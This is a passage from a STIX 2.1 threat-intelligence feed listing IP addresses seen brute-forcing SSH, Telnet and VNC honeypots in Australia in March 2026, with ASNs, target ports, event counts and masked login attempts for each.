      "valid_until": "2026-04-17T19:15:11.000Z"
    },
    {
      "created": "2026-03-16T19:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KE. ASN(s): 37061. Organisation(s): Safaricom. Usernames observed (masked): 3**********4, k******i, ***, u******e, d*****j. Passwords observed (masked): 3***********4, 3**********4, *, 1***5, d********3.",
      "id": "indicator--0f66d807-1840-4fda-9e39-7c96de2251e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T19:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.248.207.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T19:15:38.000Z",
      "valid_until": "2026-04-17T19:15:11.000Z"
    },
    {
      "created": "2026-03-16T19:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5e018229-556b-4dbd-b37f-f1ef78742c25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T19:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T19:15:38.000Z",
      "valid_until": "2026-04-17T19:15:11.000Z"
    },
    {
      "created": "2026-03-16T19:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--63771f39-0d9d-4693-8797-5c61ad07c003",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T19:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.83.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T19:15:38.000Z",
      "valid_until": "2026-04-17T19:15:11.000Z"
    },
    {
      "created": "2026-03-16T19:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 60404. Organisation(s): The Infrastructure Group B.V.. Usernames observed (masked): c**h, 3**********4, a***n, a*****o, a*****o. Passwords observed (masked): 1****6, 1******8, 1**4, 3***********4, 3**********4.",
      "id": "indicator--cf1b8648-92b3-410e-b659-8318bf8f3a52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T19:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.255.97.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T19:15:38.000Z",
      "valid_until": "2026-04-17T19:15:11.000Z"
    },
    {
      "created": "2026-03-16T19:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc.. Usernames observed (masked): 3**********4, a***l, e*****e, c*******n, d**o. Passwords observed (masked): ***, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--081f9401-888e-4ca2-af8a-ffaba4a14d50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T19:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.104.70.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T19:15:38.000Z",
      "valid_until": "2026-04-17T19:15:11.000Z"
    },
    {
      "created": "2026-03-16T19:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 20055. Organisation(s): Wholesail networks LLC. Usernames observed (masked): p*****d, ***, 3**********4, d*****j, **. Passwords observed (masked): 3***********4, 1***5, 3**********4, d********3, m****3.",
      "id": "indicator--cc37904f-ecaa-4617-bc4f-c19eae58a22d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T19:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.35.168.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T19:15:38.000Z",
      "valid_until": "2026-04-17T19:15:11.000Z"
    },
    {
      "created": "2026-03-16T19:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 10103. Organisation(s): HK Broadband Network Ltd.. Usernames observed (masked): 3**********4, k******i, p*****d, u******e, d*****j. Passwords observed (masked): 3***********4, 3**********4, *, 1***5, d********3.",
      "id": "indicator--eada3575-5c14-4881-8270-45b03e839802",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T19:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.148.166.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T19:15:38.000Z",
      "valid_until": "2026-04-17T19:15:11.000Z"
    },
    {
      "created": "2026-03-16T20:26:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd..",
      "id": "indicator--3eac7493-7b3d-48aa-a31b-8d25d44303ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T20:26:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.235.47.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T20:26:57.000Z",
      "valid_until": "2026-04-17T20:15:12.000Z"
    },
    {
      "created": "2026-03-16T20:26:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 7545. Organisation(s): TPG Telecom Limited.",
      "id": "indicator--0142ad15-132d-416d-8d88-c91898fcfcb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T20:26:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.210.213.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T20:26:57.000Z",
      "valid_until": "2026-04-17T20:15:12.000Z"
    },
    {
      "created": "2026-03-16T20:26:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, 3**********4, **, ***, l*****n. Passwords observed (masked): 1****6, ***, 1**4, 1*******c, 3***********4.",
      "id": "indicator--757387de-cb09-48d4-bcd8-bcddef40a3ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T20:26:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T20:26:57.000Z",
      "valid_until": "2026-04-17T20:15:12.000Z"
    },
    {
      "created": "2026-03-16T20:26:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263774. Organisation(s): MARANDU COMUNICACIONES SOCIEDAD DEL ESTADO.",
      "id": "indicator--14dc0058-9864-4eff-994d-dae3d3c9bfed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T20:26:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.83.126.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T20:26:57.000Z",
      "valid_until": "2026-04-17T20:15:12.000Z"
    },
    {
      "created": "2026-03-16T20:26:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--67f0da2d-1a8e-474e-aa8d-67298ebbb7b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T20:26:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.96.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T20:26:57.000Z",
      "valid_until": "2026-04-17T20:15:12.000Z"
    },
    {
      "created": "2026-03-16T20:26:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a137e623-3cdb-479f-b93a-de2cdb4c20a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T20:26:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.52.48.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T20:26:57.000Z",
      "valid_until": "2026-04-17T20:15:12.000Z"
    },
    {
      "created": "2026-03-16T20:26:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--ca458227-7114-4bcb-8b89-61e731ebf839",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T20:26:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.235.140.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T20:26:57.000Z",
      "valid_until": "2026-04-17T20:15:12.000Z"
    },
    {
      "created": "2026-03-16T23:25:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 721. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, u****u, d****y, f*****r, t**t. Passwords observed (masked): 1****6, 1******8, ***, p******d, *.",
      "id": "indicator--7739e7f7-2203-4bd6-8044-4e3c3e036d25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T23:25:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.38.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T23:25:33.000Z",
      "valid_until": "2026-04-17T23:15:00.000Z"
    },
    {
      "created": "2026-03-16T23:25:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--19d179a1-32b1-489e-8744-7b1505e0de95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T23:25:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.52.229.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T23:25:33.000Z",
      "valid_until": "2026-04-17T23:15:00.000Z"
    },
    {
      "created": "2026-03-16T23:25:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a738b104-4071-430f-90b5-a88cd8a92e62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T23:25:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.90.185.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T23:25:33.000Z",
      "valid_until": "2026-04-17T23:15:00.000Z"
    },
    {
      "created": "2026-03-16T23:25:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f7ea42ed-e936-4fba-a96b-45afc7d24d00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T23:25:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.166.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T23:25:33.000Z",
      "valid_until": "2026-04-17T23:15:00.000Z"
    },
    {
      "created": "2026-03-16T23:25:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 24863. Organisation(s): LINKdotNET.",
      "id": "indicator--b05442b7-da4f-43ec-a43c-5de87aaec7b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T23:25:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.162.254.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T23:25:33.000Z",
      "valid_until": "2026-04-17T23:15:00.000Z"
    },
    {
      "created": "2026-03-16T23:25:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271951. Organisation(s): 4 EVER PLUG,C.A..",
      "id": "indicator--cb37641d-9d06-4747-9c66-3bde318d779c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T23:25:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.196.79.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T23:25:33.000Z",
      "valid_until": "2026-04-17T23:15:00.000Z"
    },
    {
      "created": "2026-03-16T23:25:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc.",
      "id": "indicator--1d1c60b1-7c1d-4a05-b759-b6e47af9c2a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T23:25:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '76.171.249.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T23:25:33.000Z",
      "valid_until": "2026-04-17T23:15:00.000Z"
    },
    {
      "created": "2026-03-16T23:25:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--719cb350-574b-464b-92aa-dd92ac4356a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T23:25:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.138.44.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T23:25:33.000Z",
      "valid_until": "2026-04-17T23:15:00.000Z"
    },
    {
      "created": "2026-03-17T02:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1160. Sensors involved: Heralding. Target ports: 5900. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Passwords observed (masked): P******d, P******s, f******l, j******r, s******e.",
      "id": "indicator--0849d82d-cf76-4999-aeef-1ccc6dfed9eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T02:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T02:15:20.000Z",
      "valid_until": "2026-04-18T02:15:01.000Z"
    },
    {
      "created": "2026-03-17T02:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 275. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, u**r, ***, a**m, a**x. Passwords observed (masked): 1****6, p******d, 0******0, **, ***.",
      "id": "indicator--170dfe2f-1441-4844-8522-052cb5e1408e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T02:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.172.63.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T02:15:20.000Z",
      "valid_until": "2026-04-18T02:15:01.000Z"
    },
    {
      "created": "2026-03-17T02:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): f******r, g*****n, r**t. Passwords observed (masked): a********4, g*********4, p******d.",
      "id": "indicator--d334d333-447a-4d32-a898-48930ce80c5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T02:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.171.233.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T02:15:20.000Z",
      "valid_until": "2026-04-18T02:15:01.000Z"
    },
    {
      "created": "2026-03-17T02:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--bb024e41-9ace-4411-a240-16b740e62f8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T02:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T02:15:20.000Z",
      "valid_until": "2026-04-18T02:15:01.000Z"
    },
    {
      "created": "2026-03-17T02:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--ed883d5b-d97e-46f5-a47b-d5bb3c480229",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T02:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.14.75.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T02:15:20.000Z",
      "valid_until": "2026-04-18T02:15:01.000Z"
    },
    {
      "created": "2026-03-17T02:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): e***l, 3**********4, a*******r, ***, ***. Passwords observed (masked): 1**4, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--9ca3c354-ab93-4f8a-9159-1799a917258b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T02:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.56.146.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T02:15:20.000Z",
      "valid_until": "2026-04-18T02:15:01.000Z"
    },
    {
      "created": "2026-03-17T02:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--8dcdf15c-2831-4c0b-b009-318b5b801953",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T02:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T02:15:20.000Z",
      "valid_until": "2026-04-18T02:15:01.000Z"
    },
    {
      "created": "2026-03-17T05:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--0d1ac70a-0230-4991-9ba5-245c464909ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.11.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T05:15:07.000Z",
      "valid_until": "2026-04-18T05:15:05.000Z"
    },
    {
      "created": "2026-03-17T05:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--2c84e3dd-fbde-4ca3-a7a1-948f371c6538",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.191.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T05:15:07.000Z",
      "valid_until": "2026-04-18T05:15:05.000Z"
    },
    {
      "created": "2026-03-17T05:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, a**n, c*******t, f**d. Passwords observed (masked): 1***5, ***, 1******8, 1**4, 3***********4.",
      "id": "indicator--d9734901-ab73-4838-80bb-2d654a29bafa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.210.8.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T05:15:07.000Z",
      "valid_until": "2026-04-18T05:15:05.000Z"
    },
    {
      "created": "2026-03-17T05:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U***************************************************************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T05:15:07.000Z",
      "valid_until": "2026-04-18T05:15:05.000Z"
    },
    {
      "created": "2026-03-17T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): m******t. Passwords observed (masked): 1****6.",
      "id": "indicator--206e0d42-38b1-457c-8f86-ed68cf408f09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.126.88.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T06:15:14.000Z",
      "valid_until": "2026-04-18T06:15:11.000Z"
    },
    {
      "created": "2026-03-17T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135799. Organisation(s): Rapidnet Private Limited.",
      "id": "indicator--9935b90b-891d-4d02-bac9-33bbfee6a026",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.68.31.178']",
